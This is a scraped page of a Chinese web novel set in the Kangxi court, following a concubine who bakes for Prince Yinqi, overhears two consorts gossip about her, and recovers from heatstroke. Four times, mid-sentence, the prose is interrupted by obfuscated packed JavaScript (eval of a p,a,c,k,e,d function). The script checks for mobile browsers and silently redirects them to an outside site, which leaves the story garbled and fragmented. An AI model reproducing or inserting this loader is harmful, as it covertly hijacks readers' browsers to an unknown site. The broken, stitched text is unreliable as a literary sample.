RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266251|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点这个能开开胃。 方才李德禄说皇玛嬷今儿几乎没怎么用膳,他心里着急,便想亲手制些面包送去,聊表孝心,只盼着皇玛嬷能看上他的面子上多少吃些。 “您要亲自动手啊?”刘菽圆听了这话,着实有些意外,寻常阿哥都是半步不进厨房,生怕沾染了油气,失了规矩。 胤祺居然这么孝顺,果真是个好孙子! 面包的步骤不多,大概就是揉面、发酵、烤制三步。 而揉面这活儿,说难不难,说简单也不简单,就是考验耐心,得重复揉搓半个时辰,等面团表面光滑,能拉出薄膜的时候加入黄油,接着再用力揉搓一会儿,发酵好送进烤炉即可。 现代有厨师机帮忙,做面包简直易如反掌,刘菽圆自己揉面时就喜欢一边唱歌,一边捏着可爱的面团子,权当解压。 胤祺看着清瘦,手劲儿却不小。 不得不说,人长得帅,就连揉面都赏心悦目。 他换了一身月白常服,袖口挽至小臂,正好露出好看的肌肉线条,又白皙又匀称,而他平日手上戴着的青白玉扳指也一早交由刘菽圆收着了。 刘菽圆站在灶台旁,正好能看到他的侧脸,鼻梁高耸,轮廓分明,真是越看越顺眼。胤祺眉头微蹙,双眼专注,肩膀随着揉面的动作微微用力,偶尔还不自觉地轻哼一声,手背浮出的青筋也格外明显。 胤祺从未揉过面,在刘菽圆的指点下,没一会儿时便摸透了诀窍。往日这双手握得最多的是毛笔与弓箭,此刻面粉在他手里,倒像听话的孩子。 果真是天资聪慧啊,刘菽圆心里暗暗赞叹。 窗外几只鸟儿站在桂花枝上叽叽喳喳,斑驳的阳光透过树叶的缝隙洒向灶台,照着后背暖融融的。 揉了有一会儿,胤祺渐渐停下动作,额上也渗出细密的汗水,刘菽圆见状,立刻有眼力劲儿地用帕子缓缓帮他拭去,这小厨房本就窄小,柴火一烧更是热气腾腾,别说穿得端正整齐的胤祺了,就连偷偷减了衣服的刘菽圆也热得大汗淋漓。 她忙叫小全子把冰鉴搬了过来,又拿出自己特意带的大蒲扇,给胤祺扇风,后面甚至还哄着把他领口处的扣子解开了几颗。 别说,这么一弄,果真凉快许多。 可惜的是,面揉好了等发酵时,胤祺便让刘菽圆把扣子系了回去。 刘菽圆伸出细长的手指,指尖不经意蹭过他的锁骨,正低着脑袋小心系着,忽听头顶传来胤祺温润的声音。 “你不是和四哥的一位格格相熟吗?我已与他说过了,若在畅春园闲着无趣,往后你们可以相约出院转转,这畅春园远处去不得,但近处也有不少景致,出去走走对你心情也好。” “当真?” 刘菽圆高兴坏了,手也自然地悬在半空。自上次太子婚宴上一别,她都许久没见到李萱了,一想到能见到她的李姐姐,刘菽圆说话的尾调都上扬了起来,“那明日我再做几种别的面包给五爷,就当谢礼了。”说罢,许是过于兴奋,她的手竟无意中碰到了胤祺的喉结。 意识到对面身体一僵,刘菽圆自觉失了分寸,悄悄抬眼去看,却见胤祺不知何时侧过了脸,等她硬着头皮系好最后一颗扣子时,却瞥到那喉结不自觉地滚了滚,而胤祺的耳朵早就红得不成样子。 完了……刘菽圆皱了皱眉,果然把他给热着了。 25. 第 25 章 第二十五章 阿哥们日日要上学、练骑射,到了畅春园也不例外,上学的地方离康熙的清溪书屋近,康熙来抽查的次数也多了,为了不在兄弟面前丢脸,阿哥们铆足了劲,跟比试似的,天一亮就收拾妥当,看谁去得早。 刘菽圆用烤炉做了肉松饼和芋泥虎皮蛋糕卷,交代小全子午膳前给胤祺送去,然后便用食盒装了杂粮面包和酸奶蛋糕,出门找李萱闲聊去了。 这两日天气炎热,虽零星下了点小雨,可都是一阵一阵的,雨停后反而比之前还要闷,待在院里总是憋得慌,不如寻处宽敞的凉快地儿,待着也舒服。 李萱坐在廊下的石凳上,身下垫了块绣花棉软垫,她今日穿了一身浅绿色暗绣木兰花旗装,脸上擦了淡淡的粉,嘴上还抹了些口脂,看着格外娇俏。 不知是近日刻意控制了饮食,还是换了装扮的缘故,整个人瞧着没那么臃肿了,脸上的肉都清减了些。 “菽圆妹妹,我这正减食呢,你倒好,带这么多馒头过来诚心刺激我,你变坏了。”李萱朝她戳着小指,抿着嘴嗔怪,胤禛忧心她身量越发沉,到时产子难免得吃些苦头,便派了个精细嬷嬷专门照看她的饮食,到她临盆之前,每一顿都得按份量来。 尽管话这么说,可李萱的手却迫不及待地打开食盒,盘里的面包一盘盘摆到桌上,酸奶的清香、面粉的味道,悠悠地涌进鼻腔。 李萱抿了抿唇:“我可听我们家四爷说了,有些人啊,天天变着花样给自家爷们带好吃的,什么蛋黄酥、枣泥酥、抹茶吐司、麻薯面包……不知情的还以为她家藏了个御膳房呢。” 听着她的调侃,刘菽圆挑了挑眉,这烤炉跟着她,也算是物尽其用了,这两天把想吃的、能凑到材料的面包都做了个遍,眼下竟一时不知道该做些什么了。 “所以,找你一起分享啊。” 杂粮面包上放了满满的核桃、葵花籽和芝麻,看着就有食欲,李萱正犹豫要不要吃。 刘菽圆忽然凑近,一脸认真地说:“我觉得我胖了。” “我这腰最明显了,新做的夏装才穿了几天就紧得穿不下,脸都肥了一圈。”她捏了捏腰间的软肉,叹了口气,“今儿这杂粮面包和酸奶蛋糕,我连糖都没敢搁,你也能吃,而且这些谷物都是有营养的,吃了对孩子好。” 李萱忍不住笑了:“真的假的?”她冲对面眨了下眼,而后低下头示意刘菽圆看她的腰,“没事,你这腰比我细多了,不怕,吃吧。” 刘菽圆是那种给个台阶就下的人,当下就拿了块酸奶蛋糕吃了起来。 李萱宠溺一笑,她瞥了瞥对面,刘菽圆笑眼弯弯,撒起娇来十分可爱,头上的绒花随着动作一颤一颤,眼看一碟酸奶蛋糕都要没了,春芽不忍再看下去,侧过头装作无视,李萱正好看到,于是打趣说:“你这贪嘴的,方才还说要节食少吃,我瞧着可不是能管住嘴的人,怕是昨晚还让春芽多加了道夜宵,说吧,背着人偷偷吃什么了?” “没吃啥……我那么累,吃点东西补补怎么了?” 刘菽圆声音越来越低,耳尖都红了。 她昨夜就偷吃了一小碗糖蒸酥酪,那口感入口即化,还有淡淡的清甜酒香,味道极好,可惜半碗都没吃了就被胤祺撞个正着,直接累到了半夜。 瞧着她双眼下明显的乌青,李萱顿时心里有数,都说五爷对两位侍妾一视同仁,那位马格格有了身孕,五爷顾念她身体,才留她在紫禁城,可她身为四爷的格格,能从自家爷们口中听到刘菽圆的名字,想来五爷少不了在他们面前“炫耀”。 “有些人啊,仗着是阿哥的宠妾,天天给做各种美味珍馐,看来是要抓住阿哥的胃口,牢牢不放了。” 看着对面人挤眉弄眼,刘菽圆无奈一笑,放下手中的酸奶糕:“我的祖宗哎,你在瞎想什么?” 李萱抬手叫身边伺候的宫女走远些,对上刘菽圆不明就里的双眸,挑了挑眉:“你都侍寝这么多回了,隔壁都有孕了,你就没有好消息?” 他们身为汉军旗女子,身份本就比满军旗出身的女子差上一等,在后宫之中,子嗣是最大的依赖,也是最好的依靠。 刘菽圆虽不想生孩子,却也深知这个道理,所以对于李萱的话,她没什么好反驳的,因为这就是这个时代、这个后宫最明显的生存法则。 “你今儿可请了平安脉,孩子如何?”刘菽圆及时地转移了话题,顺手撕了块杂粮面包递给她。 李萱嚼着面包,却没什么表情,等到一块面包下肚,手不觉地又伸向盘子:“就那样呗,左不过说孩子十分康健,叫我按时吃安胎药,别贪嘴、别贪凉什么的。” 刘菽圆突然想起来,伺候李萱的孙太医,就是之前马佳芸珞嫌弃的那位,马佳芸珞如此看重自己的孩子,断然不会随便相信别的太医,她看过那么多清宫剧,每个宫斗冠军背后都有一个辅助,后宫女子想保住自己的孩子,少不得有个可靠的太医。 “如今到了新地方,要不试试别的太医?”刘菽圆本想委婉点说,可想了半天不如直接表明,“畅春园有不少民间来的太医,孙太医虽稳妥,但多个人瞧,总能放心些。” 李萱也不蠢,听出了她的意思:“孩子都八个月了,这时候换太医,太显眼了,再说若真瞧出了些什么,怕是后患无穷……”她叹了口气,后宫之中危险重重,尤其涉及到孩子,每一步都得思量。 “咱们万岁爷啊后宫人多,孩子也多,孝懿皇后虽养了四爷十年,但到底没换玉碟,名义上还是德妃娘娘的孩子,这身份尴尬,德妃也不好太过亲近,偏偏十四爷事事要和四爷争,连德妃送盘糕点两人也要暗暗较劲,我瞧着真是累得慌。” “其实这事儿也不是光四爷有,你们家五爷也是一样,五爷心善是宫里出了名的,之前九爷、十爷逃课,五爷规劝过多次,按理就不关他的事情了,但宜妃娘娘最偏心九爷,愣是将五爷召去数落了一番,结果第二日九爷见了五爷,愣是不提那事,理都没理这位同母兄弟。” 原来那日胤祺心情低落是这个原因……刘菽圆握着面包的手一顿,从小没养在亲娘身边,缺少母亲疼爱的人,总会比别人更渴望爱。 她忽然觉得心里被什么东西堵着,特别难受。 好奇怪。 “你真不同我再去别处逛逛?” 两人沿着小路并排走着,到了假山附近的分叉口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275138|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李萱拉着她的手,撒娇道,“戏班子新排了一出《八仙过海》,里头演何仙姑的花旦眉清目秀,我叫人打听了,往前几步有个小戏台,她们平时偶尔会在那儿排练,咱们去凑凑热闹。” 看美女? 刘菽圆有兴趣,可她昨晚被折腾到了好晚,今儿还没补觉,眼下困得双眼都合不上了:“好姐姐,我得回去歇息歇息,等改日,改日我一定陪你去看。” 听她这么说,李萱便不再劝说,她这样子再聊下去估计直接睡着了。 “春芽,你先回去准备沐浴的热水,不用管我。” 刘菽圆打着哈欠,心中盘算回程的路,这里离五爷的院子远,不过她知道有条小路,比来时的那条能省将近三分之一的时间,她现在只想回归她的大床,想都没想就拐进那条小道。 事实证明,有时真不能偷懒。 瞧着不远处那凉亭里坐着的人,刘菽圆感觉被人当头敲了一棒。 宜妃和荣妃?也太巧了! 刘菽圆瞥了眼方才李萱离开的方向,心里腹诽:她们难道也是看那小美女的? 眼下这路都走了一大半,刘菽圆困得直流眼泪,实在懒得再动,便寻了处阴凉地坐下,等着她们先走。 谁料两位妃子从胤祉的福晋聊到荣宪公主,又从美容养颜聊到佳肴美食,说着说着,忽然绕到了给胤祺选福晋的事情。 “皇上的意思是听太后的,可依太后的定是会选蒙古亲贵家的女子,我哪能争得过太后啊。”宜妃放下茶杯,撇了撇嘴,“要真是这样,我宁愿选个家世低的女儿,眼不见为净。” 荣妃一惊:“家世低?那不比良妃差上一截了?” “这话怎么说?” “安亲王的外孙女,也姓郭络罗的,你知道吧。” 安亲王岳乐自幼聪颖,文武双全,当年随康熙讨伐吴三桂,战功赫赫,可惜七年前病死在军中,他最疼的就是第七女,后来嫁给了满洲镶黄旗出身的郭络罗明尚,生了一女。三年前定下了她与八阿哥胤禩的婚事。 荣妃捏着帕子擦了擦嘴角,唏嘘不已:“听闻这郭络罗氏出落的亭亭玉立,可性子泼辣,骄横得很,在家就说一不二,连她阿玛都让她几分。” “要是我得个这样的儿媳妇,还不如找个家世低的。”宜妃笑了笑,若胤祺真选了这么个福晋,她也好拿捏,看到时太后还能不能插手! “老八可怜,若不是为了安抚安亲王府,怎么也能得个贤妻,这郭络罗氏不准老八纳妾,院里冷冷清清的,连个侍奉的人都没有,属实不像话。” 荣妃赞同地点头,想到自家的媳妇也是有苦说不出。 “都说福晋是孩子的助力,我看还真不如找个性子软的。”荣妃吃着寿司,突然看向宜妃,“哎……老五家那个庶福晋,会做樱桃点心的那个,她那性子就不错。” 宜妃冷笑:“她?除了吃一无是处,我就算再不济,也不会要她那种人做儿媳妇吧。” 刘菽圆的困意一下消散,双眼瞪得老圆。 她们刚才说的是她没错吧?可怎么一边说她坏话,一边又吃着她做的东西? 刘菽圆忍不住翻了个白眼,呸! 26. 第 26 章 第二十六章 “别这样,人家不还做了你爱吃的寿司吗?” 听了这话,宜妃立刻收回手,斜瞥了眼正在吃樱桃雪媚娘的荣妃。 说起来,在荣宪公主归省前,荣妃连“樱桃”两字都听不得,如今真是变了,居然顿顿樱桃不离口,内务府刚送的一大筐山东樱桃,现下只剩下半筐了。 “说真的,那罐头味道真是不错,虽然就是添了些糖水,可我吃着比那新鲜的好吃许多,樱桃派也是,外皮酥脆,夹心酸甜可口。”荣妃用小银勺舀了块樱桃果肉,感叹道,“我真羡慕你,胤祺有这么个庶福晋,你想吃什么,她都能变着法子做出来,还都是新鲜花样,多好啊。” 刘菽圆躲在假山后,暗自纳闷,荣妃这是拿人手短,吃人嘴软?竟当着宜妃的面替她说起好话来了? 不过宜妃岂是轻易能说动的? 果然,宜妃冷冷一笑,说真的,她何尝不知相比马佳芸珞,胤祺更中意刘菽圆,但无论刘菽圆如何讨巧,单凭她是宁寿宫出来的,自己就永远不会喜欢她。 “一个小小庶福晋而已,谁把她放在心上。”宜妃不耐烦地岔开这个话题,比起胤祺,她还是更关心胤禟的婚事。 荣妃无奈地摇了摇头:“老八还未娶呢,你就替老九着急了?这也太早了些。” “哪里早?”宜妃叹了口气,荣妃的一双儿女都成了家,她自然站着说话不腰疼,尽说些风凉话,“好家世、好相貌、好性格的姑娘就那么多,不早点定下,难道等着被别人挑走?让我们胤禟捡旁人剩下的吗?” 其实宜妃早就看重了一位,出身满洲正红旗的董鄂氏,年纪比胤禟小一岁,自小极有气度,性子温柔贤惠,模样也是万里挑一,与她的老九再般配不过。 “说起来,这姑娘与你家老三的福晋还是同族宗亲呢,也算是亲上加亲了。”一想到这未来的儿媳妇,宜妃越来越觉得合心意,脸上笑得像朵盛开的花儿一样。 刘菽圆蹲得腿都麻了,这大中午的,宜妃和荣妃既不困也不饿,只顾着闲聊,都不回寝殿睡个午觉吗? 可怜她在这被迫听这个八卦,脑袋止不住地往下点。 “对了,我听说太后多次派人给张保柱家送东西,估计是看上了他家嫡女,这位他塔喇氏模样生得好,一手琵琶弹得余音绕梁,说是京中一绝呢。”荣妃擦了擦手,终于与宜妃站起身,一副要离开的样子,“太后这般明显,婚事估计八九不离十了,只是这他塔喇氏比起董鄂氏的家世可差了许多……” 见她们走远,刘菽圆趁机捶了捶发麻的双腿,撅着屁股小心翼翼往旁边挪。她与两人只隔着座假山,距离不算远,稍大点声音都能被听到,瞥见两人往这边靠近,刘菽圆索性直接趴在地上,学乌龟的模样缓慢地往前爬。 好在大中午艳阳高照,这条小路又僻静冷清,平日根本没人过来,她这动作也不怕人瞧见。 别说,姿势虽不雅,速度还挺快。 刘菽圆快挪到路口时,已经累得喘不过气了,她保持着爬的姿势,侧耳一听动静,约莫着宜妃和荣妃走远了,正想转身坐下歇会儿,一双织锦缎的浅蓝色薄底靴突然闯进视线。 靴面绣着竹叶暗纹,绣工极好,针脚细密,一看就不是普通人能穿的。 刘菽圆心里咯噔一下,立即低头装作被罚跪的小宫女,可嘴还没张开,就觉胳肢窝被人夹住,整个人离地而起,像提小鸡仔一样被抱了起来,没等她反应,随即被人向上一抛,被人用公主的姿势稳稳接住。 一股淡淡的沉香钻进鼻腔,耳边传来胤祺止不住的笑。 “你这是在做什么?” 胤祺的目光从她脸上划过,缓慢落在了旗装的下摆。 刚下过雨,地上还残留着雨水,与泥土混在一起,蹭得她的裙子脏兮兮的。 胤祺垂下视线,胸前衣襟上两个黑黑的手印格外显眼,他忍不住弯了弯嘴角,就这样抱着她走回了小道。 李德禄和身后的小太监本能地低下头,等主子走出去,才匆匆忙忙跟上。 胤祺方才与哈哈珠子练习了布库,又同胤祉比试了一番,额上还渗着细汗,许是常练骑射的缘故,他的胸膛比从前结实了不少,刘菽圆靠在上面,竟觉得格外安稳。 她双臂环着胤祺的脖子,数着他侧脸上滚落的汗珠,竟鬼使神差地伸出手背帮他擦了擦。 “别乱动。” 察觉到怀中人的不安分,胤祺用右手支撑起她整个身体的重量,腾出左手轻轻摸着她的脊背,安抚道,“放心,不会把你摔了的。” 刘菽圆盯着他滚动的喉结,乖乖“嗯”了一声。想到方才宜妃与荣妃的对话,猫儿般往他怀里缩了缩,胤祺扬起笑容,双手也抱得更紧了些。 可没等多久,胤祺就刻意放轻步伐,速度也慢了下来。 垂眼一看,刘菽圆不知何时已经睡着了。她的脑袋轻靠在胤祺的锁骨处,露出一小片光洁白皙的脖子,上面还隐约透着点点红印。 其实她真的很像只橘猫,懒懒散散,就爱鼓捣点奇怪的吃食,偏偏还都合他的口味,李德禄说她每日几乎都要午睡,有时候刚醒没多久就又困了。 “累着了吧,小懒猫。” 瞧着她这副模样,胤祺忍不住吻了吻她的侧脸,吓得李德禄赶紧移开了目光。 谁料宜妃与荣妃不知怎的,又回了假山后的凉亭,两人面前各摆着一份甜瓜冰碗,里面还放了去了皮的核桃仁,淋了厚厚的蜂蜜水,瞧着还得在这儿待好一阵子。 胤祺了解刘菽圆,清楚她不是多管闲事的人,若是寻常闲聊,刘菽圆自然可以大大方方出去请安,也没人会多说什么。 看她身上的泥巴,再想想方才她的姿势,他瞬间明白了,怕是宜妃又在背后说了些不中听的话,刘菽圆听也不是,走也不是,才想偷偷摸摸原路溜走,免得撞上。 他看了眼刘菽圆的睡颜,仿佛亲眼看见了她躲人的样子,不由心里一软,怀里的女子已经睡熟,偶尔还发出小猫呼噜的声音,他便伸手轻柔将女子额前的碎发撩到耳后。 “额娘与荣娘娘的院子距此不近,怎么偏偏来这儿小坐了?”此时胤祺面露不悦,眉头紧锁,与刚才温润模样判若两人。 李德禄连忙上前,压低声音,把打听到的事情悄悄说了。 胤祺脸色瞬间一变,再次抬眸间眼神却如淬了冰一般。 “走!” 李德禄着急地跟上去,五爷与宜妃本就关系尴尬,宜妃又素来不喜刘氏,五爷这般贸然出现在宜妃面前,只怕会闹得更僵,何况还有“外人”在场。 但胤祺哪里顾得这么多,脚步只停了一瞬,便要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284576|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大步往前迈,李德禄伺候胤祺多年,自是了解自家主子性子,只好默默让开了路,领着小太监紧紧跟在后面,但心里却替主子捏了把汗。 凉亭里,荣妃正用叉子挖着甜瓜,假山后传来一阵悉悉索索的声响,她正要遣人过去瞧瞧,就见胤祺抱着刘菽圆走了出来。 荣妃惊愕地瞪大了眼,眼睁睁看着胤祺朝他们方向瞥了一眼,竟脚步不停径直往前走了,她轻拍了拍宜妃:“我没看错吧,老五怀里抱着一个女人?” 宜妃神情瞬间冷了下来。 好个胤祺,竟目无尊卑,连她这个生母都敢无视?此刻她还哪有心情吃什么冰碗,脸都快比那冰碗还冷了。 李德禄抓紧嘱咐了小太监们几句,自己则深吸了口气,然后笑着走到凉亭外,恭恭敬敬跪下磕头:“奴才李德禄,给宜妃娘娘、荣妃娘娘请安。” “你算什么东西?也配给本宫请安?” 宜妃说话带刺儿,看都不看李德禄。她一个妃嫔,自是瞧不上个小小太监。 “还请娘娘消消气,莫要气坏了身子。”李德禄在宫中多年,再难听的话也听过不少,听了宜妃的讽刺,并不在意,依旧恭顺极了,“五爷本打算过来给您请安,可时辰确实来不及,五爷担心娘娘着急,所以遣奴才过来同两位娘娘解释,娘娘宅心仁厚,想来是不会计较这些小事的。” “他怀里抱的,是那个刘氏吧。”宜妃冷哼一声,“青天白日抱着个女人,看见亲娘在这儿也不过来,反了他了是吗?” 荣妃赶忙打圆场:“五阿哥一会儿是要去哪儿啊?怎忙得连问安的时间都没有?” 李德禄有条不紊地回答:“回荣妃娘娘,太后娘娘传旨,让五爷一起去戏台听戏,还特意交代要带上刘氏做的酸奶面包和葡萄干椰蓉包,五爷方才同三爷一起练完布库,生怕误了时辰,这才匆忙赶回院子梳洗,换身衣裳。” “胤祺便罢了,那刘氏呢?她有什么资格不给本宫请安。”宜妃依旧不依不饶,一直质问。 李德禄笑了笑:“说来也巧,五爷本想带着刘庶福晋一道,可太后那边催得急,刘庶福晋又中暑了,五爷要顾着庶福晋,又怕误了太后那边,实在分身乏术。” 这理由合情合理,纵是宜妃清楚这些都是李德禄编的谎话,也不好计较什么。 总不能为了一些无关紧要之人,把事情闹大惹得太后不快。 反观荣妃,因为荣宪公主的缘故对刘菽圆也有几分好感,她的女儿眼下虽住在京城,可终究不能久留,迟早是要回蒙古去的。刘菽圆纵有千万个不是,手艺可是实打实的,为了让女儿在蒙古也能吃到家乡味道,一解思乡之愁,她在御膳房花了不少银子,可毕竟是多经了一手,总是不便。 她知晓刘菽圆今日在这附近,便想在凉亭等一等,说不定能遇到刘菽圆,没成想宜妃却跟了上来,为了闺女,她自是要替刘菽圆说话的。 “宜妃,既是刘氏身子不适,那便罢了,老五也是心疼她中暑,一时匆忙,也情有可原。咱们当长辈的,犯不着和小辈计较这些。”荣妃上前拉着宜妃,劝说道,“你瞧,这冰碗再不吃可就化了。” 而后,她陪着宜妃又坐回了石凳,见她气消了几分,终是松了口气,而后寻了个时机冲跪在地上的李德禄使了个眼色。 “还不快滚?” 27. 第 27 章 第二十七章 李德禄愣了一瞬,见宜妃未作声,立刻磕头退下,一路紧赶慢赶总算在胤祺换衣裳时回了院子,稍微喘了口气,便把刚才荣妃替刘氏说话的事告诉了胤祺。 荣妃替刘菽圆说话的原因不难猜,胤祺能想到,宜妃也能想到,左不过是个台阶罢了,宜妃若真的以此为由,下令惩罚刘菽圆,丢的是她自己的面子。 李德禄帮胤祺整理好腰带的玉佩,便跟着他往寿萱殿的方向走。 刚走出殿外,胤祺忽然回头望了眼身后,对着李德碌仔细叮嘱道:“一会儿刘氏醒了,你去传太医给她把个脉。” 方才他将睡着的刘菽圆放回床榻时,顺手摸了摸她的额头,有些发烫。 如今虽是夏日,可雨后湿寒,人难免有小病小痛,还是吃几副汤药调理一下为好。 李德碌“哎”了一声,再抬头就听胤祺说道:“记得,亲自去。” * 刘菽圆感觉这一觉睡得格外长。 醒来时夕阳西沉,泛黄的光线透过木窗映在墙边,她伸了伸懒腰坐起身,只觉得口干舌燥,连喝了两杯温水,太阳穴的疼痛才减轻了些,取而代之的是肚里空空的饥饿感。 门外春芽听到动静,很快便端了碗汤药过来,这药熬好后就一直在火上温着,现温度正合适。 她刚到床边,一股药汤的苦味就飘了过来,刘菽圆下意识地皱了皱眉:“我怎么了?” 她不太记得睡前的事,靠着床边愣了半晌,才记起是胤祺把她抱回来的。 “格格有些中暑,五爷担心您就叫太医给您把了脉,格格这两日好好养养身子,莫要贪凉食辣,也尽量别出门吹风了。” 原来是中暑了。 刘菽圆恍然,怪不得她和李萱聊得好好的一下困成那样。 碗里的药汤看着黑乎乎的,凑近一闻,味道也苦得要命。 刘菽圆憋了一口气,捏着鼻子喝了个精光,刚放下碗,春芽赶忙将准备好的青梅果脯递了上来。 咬了一口青梅果脯,舌尖不断传来刺激的酸,这果脯制作时已去核,口感也不像鲜果那般清脆,反而软软糯糯的,饱满又厚实,果脯在口腔中慢慢化开,带着青梅特有的酸,酸甜的汁水从齿间爆开,很快冲掉了嘴里残留的苦涩味。 “这个青梅果脯做得不错,比蜜饯好吃。”刘菽圆含着果脯,嘴里完全品不到苦味,只有酸甜交织的青梅味。 春芽忍着笑,故意逗她:“不如格格猜猜,这果脯是谁命人做的?” 听了这话,刘菽圆脑海里瞬间敲响了警钟。 胤祺亲自抱着送她回来,又给她请太医,这果脯多半也是他准备的,有什么奇怪的?于是脱口而出:“还能有谁?五爷呗。” 可刚说完又觉得自己像掉入什么陷阱,她仔细观察春芽的表情,那可不是猜对的样子,于是怀疑道:“难道不是他?” “不全是。”春芽偷笑,“五爷确实叫人准备了,不过是很甜很甜的那种蜜饯。” 那这青梅果脯…… “我知道了,是李姐姐!”刘菽圆猜来想去,除了他们院里,最有可能知道自己身子不适的也就只有李萱了吧,可春芽仍旧摇着脑袋。 见她当真猜不出,春芽坦白道:“是……荣宪公主让人送来的。” 荣宪公主?刘菽圆愣住了。 距离她做樱桃罐头也有一段日子了,她近日也就是做了几块普通的面包,最多用了些蒙古牛乳罢了,难不成二公主也想吃这口? 荣宪公主自然不这么想。 她每日照顾年幼的世子、陪伴康熙和荣妃,哪里有空给一个阿哥的庶福晋送东西?虽然这个人曾经帮了她,但她也给了回报,也算两清了。 世子被宫女带去池边喂锦鲤,荣宪公主总算得了空,她半倚在美人塌上闭目养神,任由宫女用凤仙花汁染着指甲,听到有人说话的声音,荣宪公主立即睁开眼,笑着对刚进来的荣妃道:“额娘来得正好,内务府新送的花色鲜艳夺目,额娘也来染吧。” 荣妃刚从宜妃那里回来,连口茶都没顾得上喝,见自家姑娘那股惬意劲儿,瞬间觉得自己方才的举动十分明智。 刘菽圆虽地位低下,但她在宫里近三十年,见过的女子不计其数,却很少见到刘氏这般清醒又简单的,荣妃有种直觉,刘菽圆此人断不可小觑,那盘青梅果脯虽然只是不值钱的小玩意儿,但却是投其所好之物,用最寻常的东西笼络该笼络的人,是她在宫里多年悟出的一个道理。 * 刘菽圆的晚膳是胤祺提前派人到膳房点的。 简简单单五道膳食,有荷叶粳米粥、清炒鲜藕片、冬瓜虾仁烩、豆芽拌黄瓜,还有一碟带馅儿的饽饽,味道是不错,可绿油油的没一点红色,对她这种嗜辣星人来说,也太寡淡了。 春芽捧着碗荷叶粥,苦口婆心地劝她:“格格今儿还头晕,晚上还是用些清淡的才好。这些荷叶都是五爷特意吩咐下人新摘的,李公公亲自在小厨房盯了小半个时辰,一做好就送来了。” “真的?” 刘菽圆挑了挑眉,心里的不情愿立即消失得干干净净。 既是特意给她做的,她哪能白白糟践?抬手端起瓷碗“咕嘟咕嘟”都喝了,别的便罢了,这荷叶粳米粥做得很是讲究,用新鲜荷叶煮出了碧绿色汤汁,再放入粳米慢慢熬煮,等米粒熬得炸开了花,荷叶的清香味儿便沁了进去,温热时喝下去,一入口就能尝到微微甘甜,十分清爽。 虽然感觉自己像个寺庙的和尚,可在闷热的夏日吃上这么几道,的确舒坦。 五道菜她差不多各吃了半份,就饱得打嗝。宫里用膳都是宫女用公筷将膳食夹到小碟子里,盘里剩下的都是干净的,刘菽圆便赏给春芽他们几个了,她则抱着碗清甜的金银花露,瘫在躺椅上小口抿着。 夜间的晚风带着几分凉意,格外地舒服,主仆俩闲不住,刘菽圆便叫春芽找了粗棉线,有深绿和浅绿两种颜色,用来做钩织荷叶的渐变效果。 春芽用惯了绣花针,突然改为这么长的竹制钩针实在不习惯,这种钩针是刘菽圆特意带到畅春园的,大概四寸长,一头有穿线的环,另一头则有一个弯曲的小钩子。 她捏着针线,眼睛紧紧盯着刘菽圆的手,算起来她也自学了有小半个月,可手中的针就是不听话,直到刘菽圆手把手教着钩了好几圈,春芽才慢慢找到窍门,钩针在她手中也渐渐灵活起来,片刻便出现了一片荷叶的轮廓,为了和刘菽圆那朵荷花相配,她特意多钩了几圈,叫荷叶看着更舒展些。 “主子。” 春芽凑过去,瞧了瞧刘菽圆的荷叶,又看了眼自己的,有些难过,“我这荷叶的边缘是不是钩得太紧了?都像朵绿色的花了,离荷叶差了十万八千里呢。” 刘菽圆抬眼瞄了一眼,手里动作不停:“我看着挺好的啊,这钩针本就比一般的绣花针粗大,握在手里沉得很,你平日用惯了针,一时改不过来也正常。”说着,她用剪刀剪断线头,巧妙地藏进荷叶里,然后站起身给春芽示范,“下次钩的时候可以加几缕深绿的线,就和你刺绣一个道理,荷叶上多钩几道纹路,瞧着就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296673|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼真了。” 春芽按她说的那样比划了两下,线却总也钩不牢,急得她脸通红:“奴婢平日看主子做得那么简单,怎么到了奴婢手里这么费劲? 费劲儿? 刘菽圆偷偷吐了吐舌,太谦虚了! 果然,爱学习爱用功的春芽很快便突飞猛进,第三片荷叶已经钩织得生动灵巧,纹路清晰,远看着像池里新摘的一般。 胤祺刚一进门,就见针线包里胡乱塞着各种棉线,床上从小到大依次摆着各种形状的荷叶,而刘菽圆那朵粉嫩荷花放在其中,恍惚间竟真的有些像在观赏荷花池。 